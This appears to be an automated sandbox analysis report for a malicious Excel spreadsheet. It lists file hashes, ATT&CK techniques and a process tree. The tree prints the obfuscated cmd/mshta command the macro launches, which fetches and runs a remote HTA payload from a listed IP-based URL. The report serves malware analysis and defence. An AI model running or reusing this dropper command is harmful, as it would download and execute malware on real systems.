cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f

General

Target

cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f.xls
Size

114KB
MD5

449a2e43961640dc6331c4747bc108cb
SHA1

4ef0b29acf8537bd0e13792537acb300446f26e5
SHA256

cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f
SHA512

6ebf2bc7ab872687cd034f93da26a609c9fa95b031d476becf0129e992bf4f8dc2a2ca483edc1c02105b63ae39525b5f9508718e47253fd57e071dce770dcf7d
SSDEEP

3072:yW+nBqmsk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIXxe53lGvFTQ3IzxgdrvxpU0S:t+nBqmsk3hbdlylKsgqopeJBWhZFVE+S

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe5.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4060	4948	cmd.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	4840	mshta.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4060	cmd.exe
996	PING.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3276	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
996	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4948	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE
4948	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4948 wrote to memory of 4060	4948	EXCEL.EXE	86
PID 4948 wrote to memory of 4060	4948	EXCEL.EXE	86
PID 4060 wrote to memory of 996	4060	cmd.exe	88
PID 4060 wrote to memory of 996	4060	cmd.exe	88
PID 4060 wrote to memory of 3276	4060	cmd.exe	92
PID 4060 wrote to memory of 3276	4060	cmd.exe	92
PID 4060 wrote to memory of 4840	4060	cmd.exe	94
PID 4060 wrote to memory of 4840	4060	cmd.exe	94

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\system32\PING.EXE
    ping google.com
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:996
- - C:\Windows\system32\timeout.exe
    timeout 4
    3⤵
    - Delays execution with timeout.exe
    PID:3276
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe5.html
    3⤵
    - Blocklisted process makes network request
    PID:4840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
0909e1a6bc5a7c3c4d36cf8062d65bf7

SHA1
ef5dc65ad8ae620585a0db65769bbd2f88a7d750

SHA256
b5443138a2056a0be909eeba4f92a0b15b710eaa0660e67fd3ca24bba11fb0ca

SHA512
55ef9b10bea464bb91e5f3d0466ea8795cdd8c105b5a9b4f10c2ee398410a97630646ffa85e77cdc612e8639a94ed52da4b2c696fc9655ac9e265e2c6eac797c

Download Submit
memory/4948-7-0x00007FF960070000-0x00007FF960080000-memory.dmp

Filesize
64KB

Download
memory/4948-8-0x00007FF99FFF0000-0x00007FF9A01E5000-memory.dmp

Filesize
2.0MB

Download
memory/4948-2-0x00007FF960070000-0x00007FF960080000-memory.dmp

Filesize
64KB

Download
memory/4948-5-0x00007FF99FFF0000-0x00007FF9A01E5000-memory.dmp

Filesize
2.0MB

Download
memory/4948-9-0x00007FF99FFF0000-0x00007FF9A01E5000-memory.dmp

Filesize
2.0MB

Download
memory/4948-4-0x00007FF99FFF0000-0x00007FF9A01E5000-memory.dmp

Filesize
2.0MB

Download
memory/4948-3-0x00007FF960070000-0x00007FF960080000-memory.dmp

Filesize
64KB

Download
memory/4948-1-0x00007FF960070000-0x00007FF960080000-memory.dmp

Filesize
64KB

Download
memory/4948-6-0x00007FF960070000-0x00007FF960080000-memory.dmp

Filesize
64KB

Download
memory/4948-10-0x00007FF99FFF0000-0x00007FF9A01E5000-memory.dmp

Filesize
2.0MB

Download
memory/4948-11-0x00007FF95D820000-0x00007FF95D830000-memory.dmp

Filesize
64KB

Download
memory/4948-13-0x00007FF95D820000-0x00007FF95D830000-memory.dmp

Filesize
64KB

Download
memory/4948-22-0x00007FF99FFF0000-0x00007FF9A01E5000-memory.dmp

Filesize
2.0MB

Download
memory/4948-23-0x00007FF9A008D000-0x00007FF9A008E000-memory.dmp

Filesize
4KB

Download
memory/4948-25-0x00007FF99FFF0000-0x00007FF9A01E5000-memory.dmp

Filesize
2.0MB

Download
memory/4948-0-0x00007FF9A008D000-0x00007FF9A008E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads